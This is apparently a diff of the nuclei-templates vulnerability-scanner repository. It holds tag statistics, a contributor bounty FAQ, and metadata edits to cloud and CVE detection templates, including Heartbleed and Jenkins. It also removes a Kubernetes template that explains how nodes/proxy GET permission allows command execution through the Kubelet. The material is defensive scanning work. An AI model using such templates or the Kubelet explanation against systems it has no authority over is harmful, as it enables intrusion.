e":"js","count":106},{"name":"tokens","count":102},{"name":"top-100","count":100},{"name":"file-upload","count":100},{"name":"debug","count":92},{"name":"windows-audit","count":90},{"name":"oracle","count":90},{"name":"oss","count":90},{"name":"seclists","count":88},{"name":"passive","count":87},{"name":"privesc","count":86},{"name":"fpd","count":83},{"name":"takeover","count":82},{"name":"enum","count":82},{"name":"cisco","count":81},{"name":"windows","count":78},{"name":"fileupload","count":77},{"name":"k8s","count":76},{"name":"adobe","count":74},{"name":"cve2015","count":66},{"name":"deserialization","count":66},{"name":"detection","count":66},{"name":"vmware","count":65},{"name":"huntr","count":64},{"name":"cve2016","count":64},{"name":"ir","count":63},{"name":"c2","count":61},{"name":"alibaba","count":61},{"name":"atlassian","count":61},{"name":"google","count":60},{"name":"dast","count":57},{"name":"logs","count":57},{"name":"traversal","count":56},{"name":"cve2014","count":55},{"name":"php","count":55},{"name":"ssh","count":54},{"name":"aem","count":53},{"name":"misc","count":52},{"name":"api","count":50},{"name":"ssti","count":50},{"name":"plugin","count":49},{"name":"osint-gaming","count":49},{"name":"injection","count":49},{"name":"generic","count":49},{"name":"hackerone","count":48},{"name":"log4j","count":48},{"name":"tenable","count":48},{"name":"ibm","count":48},{"name":"fortinet","count":47},{"name":"vulhub","count":46},{"name":"oob","count":46},{"name":"cnvd","count":46},{"name":"wp-theme","count":45},{"name":"aliyun","count":45},{"name":"kisa","count":44},{"name":"jndi","count":44},{"name":"ssl","count":43},{"name":"miscellaneous","count":43},{"name":"springboot","count":43},{"name":"firewall","count":43},{"name":"info-leak","count":43},{"name":"oa","count":43},{"name":"osint-porn","count":42},{"name":"listing","count":42},{"name":"osint-hobby","count":42},{"name":"xxe","count":42},{"name":"postgresql","count":41},{"name":"tls","count":41},{"name":"k8s-cluster-security","count":41},{"name":"sap","count":40},{"name":"dns","count":39},{"name":"dlink","count":39},{"name":"jira","count":39},{"name":"devsecops","count":38},{"name":"cti","count":38},{"name":"google-cloud-sql","count":36},{"name":"graphql","count":36},{"name":"dashboard","count":36},{"name":"osint-coding","count":36},{"name":"fuzz","count":35},{"name":"xwiki","count":35},{"name":"osint-misc","count":35},{"name":"gitlab","count":35},{"name":"printer","count":34},{"name":"networking","count":34},{"nameLine truncated

TOP-10.md

@@ -1,12 +1,12 @@
 |    TAG    | COUNT |    AUTHOR     | COUNT | DIRECTORY  | COUNT | SEVERITY | COUNT | TYPE | COUNT |
 |-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
-| vuln      |  7178 | dhiyaneshdk   |  2175 | http       | 11718 | info     |  5388 | file |   447 |
-| cve       |  4605 | rxerium       |   961 | cloud      |   663 | high     |  3044 | dns  |    34 |
-| discovery |  3887 | daffainfo     |   950 | file       |   447 | medium   |  2869 |      |       |
-| vkev      |  2006 | princechaddha |   872 | code       |   304 | critical |  2017 |      |       |
-| wordpress |  1750 | dwisiswant0   |   807 | network    |   287 | low      |   520 |      |       |
-| panel     |  1637 | pussycat0x    |   802 | dast       |   251 | unknown  |    59 |      |       |
-| wp-plugin |  1555 | ritikchaddha  |   789 | workflows  |   207 |          |       |      |       |
-| exposure  |  1513 | 0x_akoko      |   487 | javascript |   133 |          |       |      |       |
-| xss       |  1429 | theamanrawat  |   355 | ssl        |    39 |          |       |      |       |
-| tech      |  1219 | pikpikcu      |   353 | dns        |    31 |          |       |      |       |
+| vuln      |  6552 | dhiyaneshdk   |  1967 | http       |  9725 | info     |  4451 | file |   445 |
+| cve       |  3799 | daffainfo     |   937 | cloud      |   662 | high     |  2666 | dns  |    28 |
+| discovery |  3278 | princechaddha |   863 | file       |   445 | medium   |  2575 |      |       |
+| vkev      |  1579 | dwisiswant0   |   806 | network    |   277 | critical |  1639 |      |       |
+| wordpress |  1434 | ritikchaddha  |   726 | code       |   276 | low      |   437 |      |       |
+| panel     |  1381 | pussycat0x    |   721 | dast       |   249 | unknown  |    56 |      |       |
+| xss       |  1324 | pikpikcu      |   352 | workflows  |   206 |          |       |      |       |
+| wp-plugin |  1256 | pdteam        |   316 | javascript |   103 |          |       |      |       |
+| exposure  |  1253 | pdresearch    |   275 | ssl        |    38 |          |       |      |       |
+| rce       |   874 | 0x_akoko      |   274 | dns        |    25 |          |       |      |       |

Templates-Bounty-FAQ.md

@@ -0,0 +1,81 @@
+# Nuclei Templates Bounty - FAQ
+
+## What is the purpose of this bounty program?
+The program is designed to reward the community for their efforts in contributing high-quality templates for critical and trending vulnerabilities.
+
+## What are the bounty ranges for template submissions?
+Bounties range from **$50 to $250**, depending on the complexity of the template and the effort required.
+
+## Where can I find bounty issues?
+Only issues listed by us on our GitHub repository with the 💎 **Bounty** label are eligible for rewards. You can find these bounty issues [here](https://github.com/projectdiscovery/nuclei-templates/issues?q=is%3Aissue%20state%3Aopen%20label%3A%22%F0%9F%92%8E%20Bounty%22)
+
+## What is the acceptance criteria for templates?
+The template must include a complete POC and should not rely solely on version-based detection. **Contributors MUST share vulnerable setup information or a testable instance by emailing [email protected].** This is a mandatory requirement to qualify for the bounty.
+
+Templates must meet the following criteria:
+1. **Complete POC**: A full Proof of Concept (POC) must be provided and not rely solely on version detection.
+2. **Testable Instance (REQUIRED)**: Contributors **must** share vulnerable setup information or a testable instance by emailing templates@projectdiscovery.io. If you have hosted a vulnerable environment for validation, send the details (IP or Docker setup) along with the PR number to templates@projectdiscovery.io. **This is mandatory to qualify for the bounty.**
+3. **No AI-Simulated Environments**: Do not submit AI-simulated vulnerable environments.
+4. **Protocol Requirements**: Avoid submitting code templates for CVEs that can be detected using HTTP, TCP, or JavaScript only—these are not run on default scans and will not result in any findings.
+5. **Validation Required**: To qualify for the bounty, the team must be able to fully validate the POC. Templates that are incomplete, invalid, or non-verifiable will not be accepted.
+6. **Accurate Matchers**: Use strong matchers to avoid false positives.
+
+> **Note**: Triagers will make the final decision on whether a template qualifies for a reward based on validation and the acceptance criteria outlined. **Providing a testable instance is mandatory and significantly reduces validation time.**
+
+## How do I start working on a bounty issue?
+1. **Find an Issue**: Look for issues tagged with 💎 **Bounty**.
+2. **Declare Work**: Comment with `/attempt #<issue_number>` to claim the issue.
+3. **Submit Work**: Submit your pull request with `/claim #<issue_number>` in the PR description when ready.
+
+## How often are new bounty issues added?
+We add new bounty issues on a **weekly basis**, so make sure to check back regularly for fresh opportunities. In the future, you can expect many more bounty issues as the program expands, allowing more opportunities for contributors to participate and earn rewards.
+
+## Can I collaborate with others?
+Yes, you can collaborate with other contributors and split rewards by commenting:
+```
+/claim #<issue_number>
+/split @contributor1
+/split @contributor2
+```
+
+## Is there a limit to how many issues I can work on?
+You can work on up to **3 issues** simultaneously.
+
+## What happens if I don’t complete an issue on time?
+Issues must be completed within **2 months**, or they will be closed.
+
+## How are rewards distributed?
+Rewards are distributed once the template is fully validated. If the issue remains unresolved for **few weeks**, the bounty may increase.
+
+## What should I include in my template submission?
+Include the following:
+> Avoid adding code templates for CVEs that can be achieved using HTTP, TCP, or JavaScript. Such templates are blocked by default and won’t produce results, so we prioritize creating templates with other protocols unless exceptions are made.
+- **Complete POC**: A working Proof of Concept.
+- **Matchers**: Multiple matchers to prevent false positives.
+- **Debug Data**: Data to assist the triage team in validation.
+- **Metadata**: Include required fields like `id`, `name`, `author`, `severity`, `description`, and `reference`.
+
+## What types of templates will be rejected?
+Templates may be rejected if they:
+- Rely solely on version detection.
+- Lack a complete POC.
+- Contain weak matchers or redundant changes to existing templates.
+
+## What should I avoid when submitting a template?
+- Avoid sharing real-world targets publicly.
+- Don’t submit templates with weak matchers.
+- Avoid unnecessary changes to existing templates.
+
+## Is there a leaderboard for contributors?
+Yes! We now have a **leaderboard** that showcases top contributors. You can check it out here: [Leaderboard](https://cloud.projectdiscovery.io/templates/leaderboard).
+
+## Is this program permanent?
+The bounty program is currently a test run, but we may make changes based on community feedback.
+
+## What additional rewards are available besides bounties?
+Beyond bounties, we also reward contributors with:
+- **Swag** such as t-shirts and stickers.
+- **Invites to security conferences** for standout contributors.
+- **Stickers** as a token of appreciation for all first-time contributors, regardless of the bounty.
+
+> Contributors who feel their pull request or issue was overlooked for first-time contributor stickers can ping us on our Discord for assistance: [ProjectDiscovery Discord](https://discord.com/invite/projectdiscovery).

cloud/aws/aws-code-env.yaml

@@ -9,7 +9,7 @@ info:
     - https://aws.amazon.com/cli/
   metadata:
     max-request: 2
-  tags: cloud,devops,aws,amazon,aws-cloud-config
+  tags: cloud,devops,aws,amazone,aws-cloud-config
 
 variables:
   region: "us-east-1"
@@ -52,4 +52,4 @@ code:
       - type: dsl
         dsl:
           - '"AWS CLI is properly configured for account \"" + account + "\" and all the necessary tools required are installed"'
-# digest: 490a0046304402202d1c1289391a00e7c7e4717dc091d105bb40020c400002f44af89fa67ff431d202200a64b98e6e7320777442ace34db91831c6f055b4ca0cc6ccf7d0a4952075c75b:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022052484996550fb7281548c8303d5073f5afe21282edd02f6b44327849754db470022100e00b95fbe7c0069c51b67f29380e776144f64464de6aa670a8bcf248722b0e69:922c64590222798bb761d5b6d8e72950

cloud/gcp/vertexai/gcloud-vertexai-auto-upgrades.yaml

@@ -13,7 +13,7 @@ info:
   reference:
     - https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/enable-auto-upgrades.html
     - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
-  tags: cloud,devops,gcp,gcloud,vertexai,security,upgrades,gcp-cloud-config,ai
+  tags: cloud,devops,gcp,gcloud,vertexai,security,upgrades,gcp-cloud-config
 
 flow: |
   code(1)
@@ -53,4 +53,4 @@ code:
       - type: dsl
         dsl:
           - '"Project " + projectId + " has Vertex AI notebook instances without automatic upgrades enabled"'
-# digest: 4a0a00473045022020ecc91c5e20e5b7a7e8c81a75e6f0841c2a8e6f6e10db7cd8c37cc485b65da8022100893a110acd719ebeb5da50f7aa6a9898afdc77259277fe618ce3312d34e5a494:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502204c9dcab870b9d74ffc92b4d124ae2c552cd7adc3c063df1c893eee8f1da63578022100d799039657b5ec98b9345069d8f38f00b0516c96be22e7a24057c45d767ac9e7:922c64590222798bb761d5b6d8e72950

cloud/gcp/vertexai/gcloud-vertexai-default-vpc.yaml

@@ -13,7 +13,7 @@ info:
   reference:
     - https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/default-vpc-in-use.html
     - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/create-instance
-  tags: cloud,devops,gcp,gcloud,vertexai,networking,security,vpc,gcp-cloud-config,ai
+  tags: cloud,devops,gcp,gcloud,vertexai,networking,security,vpc,gcp-cloud-config
 
 flow: |
   code(1)
@@ -53,4 +53,4 @@ code:
       - type: dsl
         dsl:
           - '"Project " + projectId + " has Vertex AI notebook instances using the default VPC network"'
-# digest: 4b0a00483046022100a628bcce3d1a7dcc53a56f40f8f4865f54dd43d343da23897a0ece18ebf75961022100a96b22e32f581a4f14a406d6f58ded7288f7cfdd39d3152d635786ac71f02c42:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221009b5d1f2fcfc890c2f05563c6eb9622a256919795802a514c6182274d02a81818022100ebf9b5415abdc9b7966505657741b3d7e08b849035c0849d16be0aa5dcb8d7ed:922c64590222798bb761d5b6d8e72950

cloud/gcp/vertexai/gcloud-vertexai-external-ip.yaml

@@ -13,7 +13,7 @@ info:
   reference:
     - https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/prevent-external-ip-usage.html
     - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
-  tags: cloud,devops,gcp,gcloud,vertexai,security,networking,gcp-cloud-config,ai
+  tags: cloud,devops,gcp,gcloud,vertexai,security,networking,gcp-cloud-config
 
 flow: |
   code(1)
@@ -53,4 +53,4 @@ code:
       - type: dsl
         dsl:
           - '"Project " + projectId + " has Vertex AI notebook instances with external IP addresses enabled"'
-# digest: 4a0a00473045022100eb58356e30e582e79db9e34c751398f257540bfa4716c2d1de37c82d242de38a0220320024c473e1bd4db36c9f640950a0a006aa63e5be2f444fbbd2254081cb3f05:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502206b8cab9d698ed9f4177859d3256fe52c1eb954938c92c81e7b4af186c551ec20022100f088f4ac582da61bdfd232ed2e0ce6a428113cd5a1e690284b8783342f6895c3:922c64590222798bb761d5b6d8e72950

cloud/gcp/vertexai/gcloud-vertexai-idle-shutdown.yaml

@@ -13,7 +13,7 @@ info:
   reference:
     - https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/enable-idle-shutdown.html
     - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
-  tags: cloud,devops,gcp,gcloud,vertexai,cost-optimization,gcp-cloud-config,ai
+  tags: cloud,devops,gcp,gcloud,vertexai,cost-optimization,gcp-cloud-config
 
 flow: |
   code(1)
@@ -53,4 +53,4 @@ code:
       - type: dsl
         dsl:
           - '"Project " + projectId + " has Vertex AI notebook instances without idle shutdown enabled"'
-# digest: 4a0a004730450220374d01f50a9d157a2d5fec68762d8051b89f6b1ed0376e88635e1511d68abe8a022100b34c712dc5baed678090996d90a412ddb40c480cec972fbef83ba807c150fc36:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221009b5693adc0278a31a62b47630197300145b36b00d470c8893ef5d2f19430607e0221008385cf51bd01f9652405b3344f8326549d4abcc49d876d73eb136a14818582d0:922c64590222798bb761d5b6d8e72950

cloud/gcp/vertexai/gcloud-vertexai-integrity.yaml

@@ -13,7 +13,7 @@ info:
   reference:
     - https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/enable-integrity-monitoring.html
     - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
-  tags: cloud,devops,gcp,gcloud,vertexai,security,integrity,gcp-cloud-config,ai
+  tags: cloud,devops,gcp,gcloud,vertexai,security,integrity,gcp-cloud-config
 
 flow: |
   code(1)
@@ -55,4 +55,4 @@ code:
       - type: dsl
         dsl:
           - '"Project " + projectId + " has Vertex AI notebook instances without integrity monitoring enabled"'
-# digest: 4a0a0047304502207db528887b8c3b4196abeece97c77bddd0a59322c0dca821358c99a93786708702210098618a9638dae1ff81fbe505882a575b4daa34ea2b3df20ce8f8662d92f5f8db:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100b215d362db9c0383615363d071e45a71b376694eb6a974ce4cbd5db9dec5691502200bc26776e97130ee6e43a1b6763258c4c8d24cc0095b319854af3f8812045dfa:922c64590222798bb761d5b6d8e72950

cloud/gcp/vertexai/gcloud-vertexai-monitoring.yaml

@@ -13,7 +13,7 @@ info:
   reference:
     - https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/enable-cloud-monitoring.html
     - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
-  tags: cloud,devops,gcp,gcloud,vertexai,security,monitoring,gcp-cloud-config,ai
+  tags: cloud,devops,gcp,gcloud,vertexai,security,monitoring,gcp-cloud-config
 
 flow: |
   code(1)
@@ -53,4 +53,4 @@ code:
       - type: dsl
         dsl:
           - '"Project " + projectId + " has Vertex AI notebook instances without Cloud Monitoring enabled"'
-# digest: 490a00463044022046f0077349a98b3ff497d7d15ef487bb2814b921756ae2a564472817715425dc02204748a68363446c30b79aa3b2089a97a8c6314cb1ce1d2e7153659ffee5e3a2f5:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100c7bc99ba5cc3d543c53777ced4301fa9ece255d153202432c143fedcfab4955602206bc1d563f849b0db4fdcec3fc5d0fbf18372948eefe863ebdd7828364902ebe5:922c64590222798bb761d5b6d8e72950

cloud/gcp/vertexai/gcloud-vertexai-root-access.yaml

@@ -13,7 +13,7 @@ info:
   reference:
     - https://trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/disable-root-access.html
     - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
-  tags: cloud,devops,gcp,gcloud,vertexai,security,root-access,gcp-cloud-config,ai
+  tags: cloud,devops,gcp,gcloud,vertexai,security,root-access,gcp-cloud-config
 
 flow: |
   code(1)
@@ -53,4 +53,4 @@ code:
       - type: dsl
         dsl:
           - '"Project " + projectId + " has Vertex AI notebook instances with root access enabled"'
-# digest: 4b0a00483046022100f207075f7fb72babf0c77967aa1a0aecaecb83b2432bf71477b57a0c810f30a4022100f861b48c21882fec2e8b153fc922515644690029a3cfcc6200cb6b3bc34658bc:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502203fafa09fd627295440cda0833154e362ad16f53551c11446c640eef34c1cd7e8022100a848ce9d7e2f458fe5454494e88df994cefe9ed2657c893fd8d7ac46091c6783:922c64590222798bb761d5b6d8e72950

cloud/gcp/vertexai/gcloud-vertexai-secure-boot.yaml

@@ -13,7 +13,7 @@ info:
   reference:
     - https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/enable-secure-boot.html
     - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
-  tags: cloud,devops,gcp,gcloud,vertexai,security,secure-boot,gcp-cloud-config,ai
+  tags: cloud,devops,gcp,gcloud,vertexai,security,secure-boot,gcp-cloud-config
 
 flow: |
   code(1)
@@ -53,4 +53,4 @@ code:
       - type: dsl
         dsl:
           - '"Project " + projectId + " has Vertex AI notebook instances without Secure Boot enabled"'
-# digest: 4a0a0047304502207866f5d4ad7aba081232ed70b2ca4e104f7d781d1320b152cad1ada406601b4e022100dfebaafce7a40c3fa12304f63b34dd7d758108f65204e752139ec65d6dfd8bb0:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a0048304602210082e89eb94bc0d7ab464530e9adc73c736fa580813fb37e4c135b491da8598f13022100e361b6ec75ffff463f72c5ab9af82594fa3bac07639c3147ede1fa6c2374cb6c:922c64590222798bb761d5b6d8e72950

cloud/gcp/vertexai/gcloud-vertexai-vtpm.yaml

@@ -13,7 +13,7 @@ info:
   reference:
     - https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/enable-vtpm.html
     - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
-  tags: cloud,devops,gcp,gcloud,vertexai,security,vtpm,gcp-cloud-config,ai
+  tags: cloud,devops,gcp,gcloud,vertexai,security,vtpm,gcp-cloud-config
 
 flow: |
   code(1)
@@ -53,4 +53,4 @@ code:
       - type: dsl
         dsl:
           - '"Project " + projectId + " has Vertex AI notebook instances without Virtual Trusted Platform Module (vTPM) enabled"'
-# digest: 4a0a0047304502200a062fbf1e24e81fed35d1e0da64536f63b695ad66c7c4ed40d8dbe2d5c6350702210085620cf4d8a4001277295a946d3c7fdbfe48d5c4211da71d13494be91f5b323f:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221008daab33ee8514bd0a358a39a0c7d5230d9f00695fc2dafcea6cb20b78efe6c1a022100f29c8980ff8d878cdca0220035201e74e8670496e896f4e8c4b6a1f41675ae13:922c64590222798bb761d5b6d8e72950

cloud/kubernetes/cves/2025/CVE-2025-1974-k8s.yaml

@@ -12,7 +12,7 @@ info:
   reference:
     - https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities
     - https://projectdiscovery.io/blog/ingressnightmare-unauth-rce-in-ingress-nginx
-  tags: cve,cve2025,cloud,devops,kubernetes,ingress,nginx,k8s,k8s-cluster-security,vkev
+  tags: cve,cve2025,cloud,devops,kubernetes,ingress,nginx,k8s,k8s-cluster-security
 
 flow: |
   code(1);
@@ -59,4 +59,4 @@ javascript:
       - type: dsl
         dsl:
           - response
-# digest: 4b0a00483046022100a16749044616d7fa5bef0f34b7dc0efffcd6e15a1e913779e4d7ea7e5ae880ec0221008c99c79bb10af571f216473a6b882121d5a73ea2dd9924fac43efc9c2ba1c61b:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022025ed151367a846d211bf074a1617a83ffb548d410c150328bf67f6ee18ac0b1802210096bcd92dbef5b968b615499daefd01e98fe26c6b6e56c6f431ec843c33379b67:922c64590222798bb761d5b6d8e72950

cloud/kubernetes/rbac/k8s-clusterrole-nodes-proxy-rce.yaml

@@ -1,70 +0,0 @@
-id: k8s-clusterrole-nodes-proxy-rce
-
-info:
-  name: ClusterRoles with Risky nodes/proxy GET Permission
-  author: princechaddha
-  severity: high
-  description: |
-    Detects Kubernetes ClusterRoles that grant GET permission on nodes/proxy resource.
-    Due to an authorization inconsistency in Kubelet, the nodes/proxy GET permission allows
-    execution of commands in any container via WebSocket connections to the Kubelet API.
-    The Kubelet authorizes based on the initial HTTP GET method of WebSocket handshake
-    rather than the actual operation (exec/run/attach) which should require CREATE permission.
-  impact: |
-    Service accounts with nodes/proxy GET permission can potentially execute commands in any
-    container if they have network access to the Kubelet API (port 10250). This bypasses
-    expected RBAC controls and audit logging.
-  remediation: |
-    Remove nodes/proxy GET permissions from ClusterRoles unless absolutely necessary.
-    Restrict network access to Kubelet port 10250 and implement network policies.
-  reference:
-    - https://grahamhelton.com/blog/nodes-proxy-rce
-  tags: cloud,devops,kubernetes,devsecops,rbac,k8s,k8s-cluster-security
-
-flow: |
-  code(1);
-  for (let role of template.items) {
-    set("role", role)
-    javascript(1);
-  }
-
-self-contained: true
-code:
-  - engine:
-      - sh
-      - bash
-    source: kubectl get clusterrole --output=json
-    extractors:
-      - type: json
-        name: items
-        internal: true
-        json:
-          - '.items[]'
-
-javascript:
-  - code: |
-        let role = JSON.parse(template.role);
-        let riskyRules = 0;
-        if (role.rules) {
-          role.rules.forEach(rule => {
-            let apiGroups = rule.apiGroups || [];
-            let resources = rule.resources || [];
-            let verbs = rule.verbs || [];
-            let isCoreApiGroup = apiGroups.includes("") || apiGroups.includes("*");
-            let hasNodesProxy = resources.includes("nodes/proxy") || resources.includes("*");
-            let hasGetVerb = verbs.includes("get") || verbs.includes("*");
-            if (isCoreApiGroup && hasNodesProxy && hasGetVerb) {
-              riskyRules++;
-            }
-          });
-        }
-        if (riskyRules > 0) {
-          let result = (`ClusterRole '${role.metadata.name}' has ${riskyRules} rule(s) granting 'nodes/proxy' GET permission in core API group, allowing potential RCE via Kubelet.`);
-          Export(result);
-        }
-
-    extractors:
-      - type: dsl
-        dsl:
-          - response
-# digest: 4a0a00473045022100cf472116d86502fb62d55139553bddb302af32a62f5d97a692534391ead1659f02207a776d50650ff39e152e39cc48109ff7963ec2db0d4ad2b03100258ea77dd32d:922c64590222798bb761d5b6d8e72950

cloud/kubernetes/security-compliance/k8s-controller-manager-bind-address.yaml

@@ -17,7 +17,7 @@ info:
     /etc/kubernetes/manifests/kube-controller-manager.yaml and add the argument to the command section.
   reference:
     - https://kubernetes.io/docs/reference/command-line-tools-reference/kube-controller-manager/
-    - https://web.archive.org/web/20260114075905/https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
+    - Cloud Vulnerability Assessment Guide(2024) by KISA
   tags: cloud,devops,kubernetes,devsecops,kube-controller-manager,bind-address,hardening,k8s,k8s-cluster-security
 
 variables:
@@ -47,4 +47,4 @@ code:
       - type: dsl
         dsl:
           - '"kube-controller-manager configuration is missing --bind-address or set to unsafe value (expected: 127.0.0.1 or ::1)"'
-# digest: 4a0a00473045022100ce3791d8485a7d4ce1ad3f055cab92b20cf7e5c57f4e47ac478e74d193b74764022013ae946bf2b897ad3c2c1dbbe7268f54f658ced43f9ca82a3edc0b77785af48f:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402202913db41a43350176fa630504391e5399d252294710b1bad1c50cd162a8defcb02205cb4ec1d6e05dd2b5fa493bf0668f0c0bf4fa5f521759e4f84f95927e4e465d9:922c64590222798bb761d5b6d8e72950

cloud/kubernetes/security-compliance/k8s-scheduler-bind-address.yaml

@@ -16,7 +16,7 @@ info:
     /etc/kubernetes/manifests/kube-scheduler.yaml and add the argument to the command section.
   reference:
     - https://kubernetes.io/docs/reference/command-line-tools-reference/kube-scheduler/
-    - https://web.archive.org/web/20260114075905/https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
+    - Cloud Vulnerability Assessment Guide(2024) by KISA
   tags: cloud,devops,kubernetes,devsecops,kube-scheduler,bind-address,hardening,k8s,k8s-cluster-security
 
 variables:
@@ -46,4 +46,4 @@ code:
       - type: dsl
         dsl:
           - '"kube-scheduler configuration is missing --bind-address or set to unsafe value (expected: 127.0.0.1 or ::1)"'
-# digest: 4a0a00473045022044867c79c6e39c0e6181e0f3339e6c915abb31d807a9b02fcec5fdac437e2d20022100dbae44977a3be1951dd85cb8bf16ab10d3372ca79a8c4616ccd2aa406a28c516:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022006a49804407d0d9b937760383c56604a16a549d8c45cb57b0ee1f8868b9e80c002204a7fb3c2364c55968c93e78151ce7a23232c10360bd6ffdc4ccd3c0c8aede23e:922c64590222798bb761d5b6d8e72950

code/cves/2014/CVE-2014-0160.yaml

@@ -15,8 +15,8 @@ info:
   metadata:
     verified: true
   classification:
-    epss-score: 0.99999
-    epss-percentile: 0.99997
+    epss-score: 0.94464
+    epss-percentile: 0.99995
   tags: cve,cve2014,openssl,heartbleed,code,kev,vkev,vuln
 
 variables:
@@ -111,7 +111,7 @@ code:
           # Parse the URL
           parsed_url = urlparse(url)
           host = parsed_url.hostname
-          port = parsed_url.port if parsed_url.port else 80 if parsed_url.scheme == "http" else 443
+          port = parsed_url.port if parsed_url.port else 443
 
           if not host:
               return
@@ -142,4 +142,4 @@ code:
       - type: dsl
         dsl:
           - "contains(response,'server is vulnerable')"
-# digest: 4a0a0047304502201ff2c314c4c8207000c67249618772848dafdf609be8c63cfc46a3f709062d0c022100efe127d5604505631022ef6e7c3ce8a29445e0b9c32e5de8d983550ff8100289:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100b436f195027bee97d8fcd6f4ce6891122a37062acee6c86a62ef9fe7822dc81d0221008b13457977e0b7019a8bb7f1014157f889ad44a6a8a4131b269d78add72a7697:922c64590222798bb761d5b6d8e72950

code/cves/2016/CVE-2016-8735.yaml

@@ -17,8 +17,8 @@ info:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
     cvss-score: 9.8
     cve-id: CVE-2016-8735
-    epss-score: 0.90338
-    epss-percentile: 0.99799
+    epss-score: 0.93967
+    epss-percentile: 0.99877
     cpe: cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*
   metadata:
     shodan-query: product:"tomcat"
@@ -83,4 +83,4 @@ code:
           - 'contains(response,"43726564656e7469616c732073686f756c6420626520537472696e675b5d20696e7374656164206f66206a6176612e7574696c2e486173684d61707572")'
           - 'contains(interactsh_protocol, "dns")'
         condition: and
-# digest: 4a0a004730450220454eeb8bf987ba4ab5c029ea128172479132728dee2ba1979b26c201ac650b44022100f695b2f06aa31969c851bfefe0a19b7b06ac19fcdde50b181197bd907efde140:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402206b8e3dd583224b74ea527410d3774e68b25a61d5a3672732950a6dc9c694a07702201888286b4b3c9c9faf510525d47b2b122a4b046f03226fd4c1b1fa3c7e4cfea8:41987585204b393149694b2205534b1a

code/cves/2017/CVE-2017-1000353.yaml

@@ -19,8 +19,8 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2017-1000353
     cwe-id: CWE-502
-    epss-score: 0.99679
-    epss-percentile: 0.9995
+    epss-score: 0.94508
+    epss-percentile: 1
     cpe: cpe:2.3:a:jenkins:jenkins:*:*:*:*:*:*:*:*
   metadata:
     vendor: jenkins
@@ -108,4 +108,4 @@ code:
         dsl:
           - 'contains(interactsh_protocol, "dns")'
         condition: and
-# digest: 4a0a0047304502203727c33a8cec447cfa28d7abe98d79e5ab19560b75660d86757b15ddc736ddf3022100ee1d12dbf38026c4c65d2948e7fa5231b1b71cc0cefcb70c9bd2e9f7ca00fba6:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022065ba47069c9c8be3b8b20baaf07cc1e5bd514548908b83d01cc1ed3f1949960d022016d51765b84d48fd3df32d1a4484ef6b46775a4012de24f85c653381d9ff9fba:922c64590222798bb761d5b6d8e72950

code/cves/2019/CVE-2019-0604.yaml

@@ -19,8 +19,8 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2019-0604
     cwe-id: CWE-20
-    epss-score: 0.99913
-    epss-percentile: 0.99968
+    epss-score: 0.94441
+    epss-percentile: 0.99989
   metadata:
     verified: true
     vendor: microsoft
@@ -156,4 +156,4 @@ code:
           - 'contains(interactsh_protocol, "dns")'
           - 'contains(interactsh_request, hex_encode(marker))'
         condition: and
-# digest: 4a0a00473045022004775c8d5cd82057b1a17dc7c7935912e335f64b23d9925d98e8c2cd795813ff022100b472250d57bbcc9cc369c9ec332e5f2760c4ef722387b2f24412c2aedaedd3b6:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100e3197ee26d9a33ce29fd4c4d0641965e50f542e4fb7bb0f5ba6941627d2dcf0502201f3daf9691d36d40df94de608d0e527a506b79315ccff56abb94fe6d8df1446e:922c64590222798bb761d5b6d8e72950

code/cves/2019/CVE-2019-14287.yaml

@@ -21,8 +21,8 @@ info:
     cvss-score: 8.8
     cve-id: CVE-2019-14287
     cwe-id: CWE-755
-    epss-score: 0.63764
-    epss-percentile: 0.99226
+    epss-score: 0.86126
+    epss-percentile: 0.9937
     cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
   metadata:
     verified: true
@@ -51,4 +51,4 @@ code:
           - '!contains(code_1_response, "root")'
           - 'contains(code_2_response, "root")'
         condition: and
